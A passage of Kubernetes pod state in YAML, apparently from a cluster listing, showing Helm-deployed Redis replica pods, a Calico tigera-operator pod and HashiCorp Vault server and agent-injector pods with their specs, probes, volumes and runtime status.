      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc
        name: empty-dir
      - mountPath: /tmp
        name: empty-dir
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.35
    podIPs:
    - ip: 192.168.34.35
    qosClass: Burstable
    startTime: "2025-10-19T11:15:45Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
      checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
      checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
      checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
      cni.projectcalico.org/containerID: e7da772d6906275a84341e58c1573b11b5a3818e71ab76463256e8a4a4dd8bdc
      cni.projectcalico.org/podIP: 192.168.133.129/32
      cni.projectcalico.org/podIPs: 192.168.133.129/32
    creationTimestamp: "2025-11-25T15:21:39Z"
    generateName: redis-replicas-
    generation: 1
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "1"
      controller-revision-hash: redis-replicas-85686886bc
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-replicas-1
    name: redis-replicas-1
    namespace: redis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: redis-replicas
      uid: 3d28299e-55d8-43fc-9661-000a25f0bf64
    resourceVersion: "18046469"
    uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/component: replica
                app.kubernetes.io/instance: redis
                app.kubernetes.io/name: redis
            topologyKey: kubernetes.io/hostname
          weight: 1
    automountServiceAccountToken: false
    containers:
    - args:
      - -ec
      - /opt/bitnami/scripts/start-scripts/start-replica.sh
      command:
      - /bin/bash
      env:
      - name: BITNAMI_DEBUG
        value: "false"
      - name: REDIS_REPLICATION_MODE
        value: replica
      - name: REDIS_MASTER_HOST
        value: redis-master-0.redis-headless.redis.svc.cluster.local
      - name: REDIS_MASTER_PORT_NUMBER
        value: "6379"
      - name: ALLOW_EMPTY_PASSWORD
        value: "no"
      - name: REDIS_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_MASTER_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_TLS_ENABLED
        value: "no"
      - name: REDIS_PORT
        value: "6379"
      image: registry-1.docker.io/bitnami/redis:latest
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_liveness_local_and_master.sh 5
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 6
      name: redis
      ports:
      - containerPort: 6379
        name: redis
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_readiness_local_and_master.sh 1
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 2
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 1001
        runAsNonRoot: true
        runAsUser: 1001
        seLinuxOptions: {}
        seccompProfile:
          type: RuntimeDefault
      startupProbe:
        failureThreshold: 22
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        tcpSocket:
          port: redis
        timeoutSeconds: 5
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc
        name: empty-dir
        subPath: app-conf-dir
      - mountPath: /tmp
        name: empty-dir
        subPath: tmp-dir
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: redis-replicas-1
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 1001
      fsGroupChangePolicy: Always
    serviceAccount: redis-replica
    serviceAccountName: redis-replica
    subdomain: redis-headless
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: redis-data
      persistentVolumeClaim:
        claimName: redis-data-redis-replicas-1
    - configMap:
        defaultMode: 493
        name: redis-scripts
      name: start-scripts
    - configMap:
        defaultMode: 493
        name: redis-health
      name: health
    - name: redis-password
      secret:
        defaultMode: 420
        items:
        - key: redis-password
          path: redis-password
        secretName: redis
    - configMap:
        defaultMode: 420
        name: redis-configuration
      name: config
    - emptyDir: {}
      name: empty-dir
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:15Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:21:39Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:45Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:45Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:21:39Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        ephemeral-storage: 50Mi
        memory: 128Mi
      containerID: containerd://ecaf532afd1b884546de15f867d758e2332391e86b518099759536b3b47a4032
      image: registry-1.docker.io/bitnami/redis:latest
      imageID: registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      lastState:
        terminated:
          containerID: containerd://3df27ac1febbf69376bdbf739033d4e26c5b7531477e73566cf0510e55e7da5d
          exitCode: 0
          finishedAt: "2025-11-29T14:25:07Z"
          reason: Completed
          startedAt: "2025-11-29T14:24:24Z"
      name: redis
      ready: true
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      restartCount: 11
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:08Z"
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc
        name: empty-dir
      - mountPath: /tmp
        name: empty-dir
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.129
    podIPs:
    - ip: 192.168.133.129
    qosClass: Burstable
    startTime: "2025-11-25T15:21:39Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/configmap: 95944ee35a19af37cefd156f19d93e157e578c1dc63ac01ce735ae93090b7580
      checksum/health: aff24913d801436ea469d8d374b2ddb3ec4c43ee7ab24663d5f8ff1a1b6991a9
      checksum/scripts: b4230d7912970032380858b68faf87b6171144b993066fe53c7a324fadf43b36
      checksum/secret: f22ab0f12d1b1d837da6d8da4b2d91e66e99c4b0ed0b3c1c78bd6ab2ca8c3824
      cni.projectcalico.org/containerID: c809a6854b08aa0465df1a7535f91cf3c90f89829af3b044ce0458125fcea444
      cni.projectcalico.org/podIP: 192.168.61.239/32
      cni.projectcalico.org/podIPs: 192.168.61.239/32
    creationTimestamp: "2025-11-25T15:22:44Z"
    generateName: redis-replicas-
    generation: 1
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "2"
      controller-revision-hash: redis-replicas-85686886bc
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-replicas-2
    name: redis-replicas-2
    namespace: redis
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: redis-replicas
      uid: 3d28299e-55d8-43fc-9661-000a25f0bf64
    resourceVersion: "18046476"
    uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchLabels:
                app.kubernetes.io/component: replica
                app.kubernetes.io/instance: redis
                app.kubernetes.io/name: redis
            topologyKey: kubernetes.io/hostname
          weight: 1
    automountServiceAccountToken: false
    containers:
    - args:
      - -ec
      - /opt/bitnami/scripts/start-scripts/start-replica.sh
      command:
      - /bin/bash
      env:
      - name: BITNAMI_DEBUG
        value: "false"
      - name: REDIS_REPLICATION_MODE
        value: replica
      - name: REDIS_MASTER_HOST
        value: redis-master-0.redis-headless.redis.svc.cluster.local
      - name: REDIS_MASTER_PORT_NUMBER
        value: "6379"
      - name: ALLOW_EMPTY_PASSWORD
        value: "no"
      - name: REDIS_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_MASTER_PASSWORD_FILE
        value: /opt/bitnami/redis/secrets/redis-password
      - name: REDIS_TLS_ENABLED
        value: "no"
      - name: REDIS_PORT
        value: "6379"
      image: registry-1.docker.io/bitnami/redis:latest
      imagePullPolicy: IfNotPresent
      livenessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_liveness_local_and_master.sh 5
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 6
      name: redis
      ports:
      - containerPort: 6379
        name: redis
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/bash
          - -ec
          - /health/ping_readiness_local_and_master.sh 1
        failureThreshold: 5
        initialDelaySeconds: 20
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 2
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 1001
        runAsNonRoot: true
        runAsUser: 1001
        seLinuxOptions: {}
        seccompProfile:
          type: RuntimeDefault
      startupProbe:
        failureThreshold: 22
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        tcpSocket:
          port: redis
        timeoutSeconds: 5
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc
        name: empty-dir
        subPath: app-conf-dir
      - mountPath: /tmp
        name: empty-dir
        subPath: tmp-dir
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: redis-replicas-2
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 1001
      fsGroupChangePolicy: Always
    serviceAccount: redis-replica
    serviceAccountName: redis-replica
    subdomain: redis-headless
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: redis-data
      persistentVolumeClaim:
        claimName: redis-data-redis-replicas-2
    - configMap:
        defaultMode: 493
        name: redis-scripts
      name: start-scripts
    - configMap:
        defaultMode: 493
        name: redis-health
      name: health
    - name: redis-password
      secret:
        defaultMode: 420
        items:
        - key: redis-password
          path: redis-password
        secretName: redis
    - configMap:
        defaultMode: 420
        name: redis-configuration
      name: config
    - emptyDir: {}
      name: empty-dir
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:47Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:44Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:45Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:45Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:44Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        ephemeral-storage: 50Mi
        memory: 128Mi
      containerID: containerd://151fc8d0d9e305b78c1a212db838bfbe5a55576a5234592b3b0fed1c1a9a39df
      image: registry-1.docker.io/bitnami/redis:latest
      imageID: registry-1.docker.io/bitnami/redis@sha256:142ab4d0c251bcf5466fffd33766350af718a6725cb926710be19fad00b2b035
      lastState:
        terminated:
          containerID: containerd://8157756ccb764aae805d1ac7b8608847c92c69cecd1e6c8955f2b0ace1920b37
          exitCode: 0
          finishedAt: "2025-11-29T14:25:21Z"
          reason: Completed
          startedAt: "2025-11-29T14:24:35Z"
      name: redis
      ready: true
      resources:
        limits:
          cpu: 150m
          ephemeral-storage: 2Gi
          memory: 192Mi
        requests:
          cpu: 100m
          ephemeral-storage: 50Mi
          memory: 128Mi
      restartCount: 13
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:22Z"
      volumeMounts:
      - mountPath: /opt/bitnami/scripts/start-scripts
        name: start-scripts
      - mountPath: /health
        name: health
      - mountPath: /opt/bitnami/redis/secrets/
        name: redis-password
      - mountPath: /data
        name: redis-data
      - mountPath: /opt/bitnami/redis/mounted-etc
        name: config
      - mountPath: /opt/bitnami/redis/etc
        name: empty-dir
      - mountPath: /tmp
        name: empty-dir
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.239
    podIPs:
    - ip: 192.168.61.239
    qosClass: Burstable
    startTime: "2025-11-25T15:22:44Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-10-19T16:11:26Z"
    generateName: tigera-operator-7dcd859c48-
    generation: 1
    labels:
      k8s-app: tigera-operator
      name: tigera-operator
      pod-template-hash: 7dcd859c48
    name: tigera-operator-7dcd859c48-7chfc
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: tigera-operator-7dcd859c48
      uid: c8d517d0-8616-4038-b7b9-ab43939b200d
    resourceVersion: "18045901"
    uid: 47886977-b7eb-4b4f-b284-83a2e4a21f72
  spec:
    containers:
    - args:
      - -manage-crds=true
      command:
      - operator
      env:
      - name: WATCH_NAMESPACE
      - name: POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      - name: OPERATOR_NAME
        value: tigera-operator
      - name: TIGERA_OPERATOR_INIT_IMAGE_VERSION
        value: v1.38.7
      envFrom:
      - configMapRef:
          name: kubernetes-services-endpoint
          optional: true
      image: quay.io/tigera/operator:v1.38.7
      imagePullPolicy: IfNotPresent
      name: tigera-operator
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/calico
        name: var-lib-calico
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-f8wsq
        readOnly: true
    dnsPolicy: ClusterFirstWithHostNet
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: tigera-operator
    serviceAccountName: tigera-operator
    terminationGracePeriodSeconds: 60
    tolerations:
    - effect: NoExecute
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    volumes:
    - hostPath:
        path: /var/lib/calico
        type: ""
      name: var-lib-calico
    - name: kube-api-access-f8wsq
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:11:26Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:11:26Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://1e4155694f2bc905a2f3324b03989cf0f43cd845beb8fdccda05408dfc2d0065
      image: quay.io/tigera/operator:v1.38.7
      imageID: quay.io/tigera/operator@sha256:1b629a1403f5b6d7243f7dd523d04b8a50352a33c1d4d6970b6002a8733acf2e
      lastState:
        terminated:
          containerID: containerd://b1e7313a77ab28ca697a555a8b0044a3db61a0b1305097ad1fc14419a28248a1
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-29T13:21:28Z"
      name: tigera-operator
      ready: true
      resources: {}
      restartCount: 15
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:24:37Z"
      volumeMounts:
      - mountPath: /var/lib/calico
        name: var-lib-calico
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-f8wsq
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 172.16.30.18
    podIPs:
    - ip: 172.16.30.18
    qosClass: BestEffort
    startTime: "2025-10-19T16:11:26Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 9645ced926afbcc5be40ef1b1e1f906a51a6aca2c0ce9ebe9566bede9fca8029
      cni.projectcalico.org/podIP: 192.168.61.214/32
      cni.projectcalico.org/podIPs: 192.168.61.214/32
    creationTimestamp: "2025-10-19T01:00:30Z"
    generateName: vault-
    generation: 1
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault
      apps.kubernetes.io/pod-index: "0"
      component: server
      controller-revision-hash: vault-fcf87dff6
      helm.sh/chart: vault-0.30.1
      statefulset.kubernetes.io/pod-name: vault-0
    name: vault-0
    namespace: vault
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: vault
      uid: 230a23a3-97d6-4d60-a5ac-a24c909f43e0
    resourceVersion: "18033486"
    uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
  spec:
    affinity:
      podAntiAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
        - labelSelector:
            matchLabels:
              app.kubernetes.io/instance: vault
              app.kubernetes.io/name: vault
              component: server
          topologyKey: kubernetes.io/hostname
    containers:
    - args:
      - "cp /vault/config/extraconfig-from-values.hcl /tmp/storageconfig.hcl;\n[ -n
        \"${HOST_IP}\" ]  sed -Ei \"s|HOST_IP|${HOST_IP?}|g\" /tmp/storageconfig.hcl;\n[
        -n \"${POD_IP}\" ]  sed -Ei \"s|POD_IP|${POD_IP?}|g\" /tmp/storageconfig.hcl;\n[
        -n \"${HOSTNAME}\" ]  sed -Ei \"s|HOSTNAME|${HOSTNAME?}|g\" /tmp/storageconfig.hcl;\n[
        -n \"${API_ADDR}\" ]  sed -Ei \"s|API_ADDR|${API_ADDR?}|g\" /tmp/storageconfig.hcl;\n[
        -n \"${TRANSIT_ADDR}\" ]  sed -Ei \"s|TRANSIT_ADDR|${TRANSIT_ADDR?}|g\" /tmp/storageconfig.hcl;\n[
        -n \"${RAFT_ADDR}\" ]  sed -Ei \"s|RAFT_ADDR|${RAFT_ADDR?}|g\" /tmp/storageconfig.hcl;\n/usr/local/bin/docker-entrypoint.sh
        vault server -config=/tmp/storageconfig.hcl \n"
      command:
      - /bin/sh
      - -ec
      env:
      - name: HOST_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.hostIP
      - name: POD_IP
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      - name: VAULT_K8S_POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      - name: VAULT_K8S_NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: VAULT_ADDR
        value: http://127.0.0.1:8200
      - name: VAULT_API_ADDR
        value: http://$(POD_IP):8200
      - name: SKIP_CHOWN
        value: "true"
      - name: SKIP_SETCAP
        value: "true"
      - name: HOSTNAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      - name: VAULT_CLUSTER_ADDR
        value: https://$(HOSTNAME).vault-internal:8201
      - name: HOME
        value: /home/vault
      image: hashicorp/vault:1.20.1
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/sh
            - -c
            - sleep 5  kill -SIGTERM $(pidof vault)
      name: vault
      ports:
      - containerPort: 8200
        name: http
        protocol: TCP
      - containerPort: 8201
        name: https-internal
        protocol: TCP
      - containerPort: 8202
        name: http-rep
        protocol: TCP
      readinessProbe:
        exec:
          command:
          - /bin/sh
          - -ec
          - vault status -tls-skip-verify
        failureThreshold: 2
        initialDelaySeconds: 5
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 3
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /vault/config
        name: config
      - mountPath: /home/vault
        name: home
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-lpkmd
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: vault-0
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 1000
      runAsGroup: 1000
      runAsNonRoot: true
      runAsUser: 100
    serviceAccount: vault
    serviceAccountName: vault
    subdomain: vault-internal
    terminationGracePeriodSeconds: 10
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        name: vault-config
      name: config
    - emptyDir: {}
      name: home
    - name: kube-api-access-lpkmd
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T01:00:30Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-28T12:34:43Z"
      message: 'containers with unready status: [vault]'
      reason: ContainersNotReady
      status: "False"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-28T12:36:11Z"
      message: 'containers with unready status: [vault]'
      reason: ContainersNotReady
      status: "False"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T01:00:30Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://f45a7cb39b66c9d1d4b30c152ebf5d2719ba800594b4d3ba7b70e31cc5eb17c1
      image: docker.io/hashicorp/vault:1.20.1
      imageID: docker.io/hashicorp/vault@sha256:50e1ecbe385742293c4a7e18c90f55d4dcc39724a05c6ab35933305fe7622cf3
      lastState:
        terminated:
          containerID: containerd://17c0d4166f20efc3cb4987e971cb43c07197df3ef024cafb3f731705d19e3227
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:01Z"
      name: vault
      ready: false
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:48Z"
      volumeMounts:
      - mountPath: /vault/config
        name: config
      - mountPath: /home/vault
        name: home
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-lpkmd
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.214
    podIPs:
    - ip: 192.168.61.214
    qosClass: BestEffort
    startTime: "2025-10-19T01:00:30Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 435abdd8a2bb619837866ec699f1fd0555158e52cc30281a096524f9a38e272e
      cni.projectcalico.org/podIP: 192.168.133.190/32
      cni.projectcalico.org/podIPs: 192.168.133.190/32
    creationTimestamp: "2025-11-25T15:21:39Z"
    generateName: vault-agent-injector-6ffc786d9f-
    generation: 1
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault-agent-injector
      component: webhook
      pod-template-hash: 6ffc786d9f
    name: vault-agent-injector-6ffc786d9f-8dntq
    namespace: vault
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: vault-agent-injector-6ffc786d9f
      uid: c0a64f68-1869-42ea-a167-6c336c951a4e
    resourceVersion: "18007844"
    uid: 6f22e9d5-c27b-4821-9e5e-bed6d1e6e960
  spec:
    affinity:
      podAntiAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
        - labelSelector:
            matchLabels:
              app.kubernetes.io/instance: vault
              app.kubernetes.io/name: vault-agent-injector
              component: webhook
          topologyKey: kubernetes.io/hostname
    containers:
    - args:
      - agent-inject
      - "21"
      env:
      - name: AGENT_INJECT_LISTEN
        value: :8080
      - name: AGENT_INJECT_LOG_LEVEL
        value: info
      - name: AGENT_INJECT_VAULT_ADDR
        value: http://vault.vault.svc:8200
      - name: AGENT_INJECT_VAULT_AUTH_PATH
        value: auth/kubernetes
      - name: AGENT_INJECT_VAULT_IMAGE
        value: hashicorp/vault:1.20.1
      - name: AGENT_INJECT_TLS_AUTO
        value: vault-agent-injector-cfg
      - name: AGENT_INJECT_TLS_AUTO_HOSTS
        value: vault-agent-injector-svc,vault-agent-injector-svc.vault,vault-agent-injector-svc.vault.svc
      - name: AGENT_INJECT_LOG_FORMAT
        value: standard
      - name: AGENT_INJECT_REVOKE_ON_SHUTDOWN
        value: "false"
      - name: AGENT_INJECT_CPU_REQUEST
        value: 250m
      - name: AGENT_INJECT_CPU_LIMIT
        value: 500m
      - name: AGENT_INJECT_MEM_REQUEST
        value: 64Mi
      - name: AGENT_INJECT_MEM_LIMIT
        value: 128Mi
      - name: AGENT_INJECT_DEFAULT_TEMPLATE
        value: map
      - name: AGENT_INJECT_TEMPLATE_CONFIG_EXIT_ON_RETRY_FAILURE
        value: "true"
      - name: POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      image: hashicorp/vault-k8s:1.7.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 2
        httpGet:
          path: /health/ready
          port: 8080
          scheme: HTTPS
        initialDelaySeconds: 5
        periodSeconds: 2
        successThreshold: 1
        timeoutSeconds: 5
      name: sidecar-injector
      readinessProbe:
        failureThreshold: 2
        httpGet:
          path: /health/ready
          port: 8080
          scheme: HTTPS
        initialDelaySeconds: 5
        periodSeconds: 2
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
      startupProbe:
        failureThreshold: 12
        httpGet:
          path: /health/ready
          port: 8080
          scheme: HTTPS
        initialDelaySeconds: 5
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 5
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8rnm9
        readOnly: true
